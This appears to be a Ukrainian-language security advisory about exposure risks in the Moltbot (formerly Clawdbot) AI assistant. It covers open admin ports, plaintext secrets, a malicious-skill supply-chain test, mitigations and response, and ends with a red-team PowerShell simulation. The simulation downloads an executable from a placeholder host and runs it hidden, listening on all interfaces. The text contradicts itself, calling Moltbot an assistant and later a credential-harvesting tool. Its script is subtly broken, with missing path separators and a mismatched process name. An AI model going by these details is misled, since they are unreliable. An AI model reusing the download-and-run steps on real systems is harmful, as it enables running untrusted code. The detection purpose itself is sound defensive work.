The Moltbot / ClawdBots Epidemic

Резюме

У статті висвітлено проблеми безпеки, які виникають навколо персонального асистента ШІ, спочатку відомого як Clawdbot, а згодом перейменованого на Moltbot. Moltbot працює через месенджери, такі як WhatsApp та Telegram, причому багато його застосувань доступні з інтернету з слабкою або відсутньою автентифікацією. Він зберігає облікові дані користувача у текстових файлах, а його бібліотека навичок може бути скомпрометована, що створює загрозу ланцюга постачання. Зловмисники можуть вкрасти секрети, ексфільтрувати вихідний код і використовувати асистента як бекдор.

Дослідження

Дослідники виявили сотні екземплярів Moltbot, що відкривають неавтентифіковані адміністративні порти та небезпечні конфігурації проксі. Доказова атака на ланцюг постачання завантажила шкідливу навичку до бібліотеки ClawdHub, демонструючи віддалене виконання команд для користувачів нижчого рівня. Аналітики також помітили, що секрети зберігаються в текстових файлах Markdown і JSON, що робить їх легкою здобиччю для інфостілеров, таких як RedLine, Lumma і Vidar.

Заходи по зменшенню ризиків

Оператори повинні вимагати сильну автентифікацію для всіх сервісів Moltbot, закривати або фільтрувати адміністративні порти та уникати відкриття асистента в інтернеті. Необхідно увімкнути шифрування при збереженні секретів, ізолювати або контейнеризувати середовище виконання та обмежувати доступ до файлової системи. Перевіряйте, підписуйте та закріпляйте будь-які з навичок, отриманих з бібліотеки, і розгляньте можливість відключення функції навичок, якщо її безпечно керувати не можна.

Відповідь

Попередження про відкриття адміністративних портів та спроби неавтентифікованого доступу до Moltbot. Слідкуйте за процесом AI на предмет несподіваного виконання команд і вихідних з’єднань з невідомими доменами C2. Проскануйте хости на наявність шкідливих програм для крадіжки облікових даних і перевірте цілісність збережених конфігураційних файлів. Якщо компрометація підтверджена, ізолюйте систему, скасуйте опубліковані облікові дані та перевстановіть Moltbot з посиленими налаштуваннями.

Виконання симуляції

Попередня умова: контрольна перевірка телеметрії та базових параметрів повинна бути пройдена.

• Нарратив атаки та команди:
  Червона команда розгортає Moltbot (інструмент для збору облікових даних з відкритим доступом) на зломленому хості Windows. Запустивши Moltbot з його стандартною конфігурацією, він відкриває неавтентифіковану адміністративну консоль HTTP на порту 8080 , що рекламує “відкритий в інтернет” у своєму банері. Це створює події мережевого з’єднання, які відповідають дослівним строкам правила виявлення. Зловмисник потім отримує доступ до UI з зовнішньої IP, щоб підтвердити відкриття, подальше генеруючи необхідну телеметрію.

  1. Завантажити Moltbot (симулюється за допомогою zip-заповнювача).
  2. Розархівуйте та запустіть двійковий файл зі стандартними прапорцями (--listen 0.0.0.0:8080).
  3. Опціонально здійсніть HTTP GET із зовнішньої IP (симулюється через Invoke-WebRequest).

• Сценарій регресійного тестування:

  # ----------------------------------------------------
  # Симуляція відкриття Moltbot – PowerShell
  # ----------------------------------------------------
  # 1. Створіть тимчасовий каталог
  $tempDir = "$env:TEMPMoltbotSim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  
  # 2. Імітуйте завантаження виконуваного файлу Moltbot (заповнювач)
  $molExe = "$tempDirmolbot.exe"
  Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
  
  # 3. Запустіть Moltbot зі стандартними (вразливими) налаштуванням
  $proc = Start-Process -FilePath $molExe `
                        -ArgumentList "--listen 0.0.0.0:8080" `
                        -PassThru `
                        -WindowStyle Hidden
  
  Write-Host "[+] Moltbot запущений (PID: $($proc.Id)), слухає на 0.0.0.0:8080"
  
  # 4. Зачекайте короткий період, щоб дозволити сервісу зареєструватися в журналах
  Start-Sleep -Seconds 5
  
  # 5. Імітуйте зовнішнє з'єднання для генерації мережевого трафіку
  Try {
      Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
      Write-Host "[+] Надано зовнішній HTTP запит до UI Moltbot."
  } Catch {
      Write-Warning "[-] Неможливо дістатися до UI Moltbot (може бути заблоковано брандмауером)."
  }
  
  # 6. Тримайте процес живим для додаткового ведення журналу (опціонально)
  Start-Sleep -Seconds 20
  
  # 7. Очистка – зупиніть Moltbot
  Stop-Process -Id $proc.Id -Force
  Remove-Item -Recurse -Force $tempDir
  Write-Host "[+] Симуляція Moltbot завершена й очищена."

• Команди очищення:

  # Примусово завершити будь-які залишкові процеси Moltbot та видалити тимчасові файли
  Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "Очищення завершено."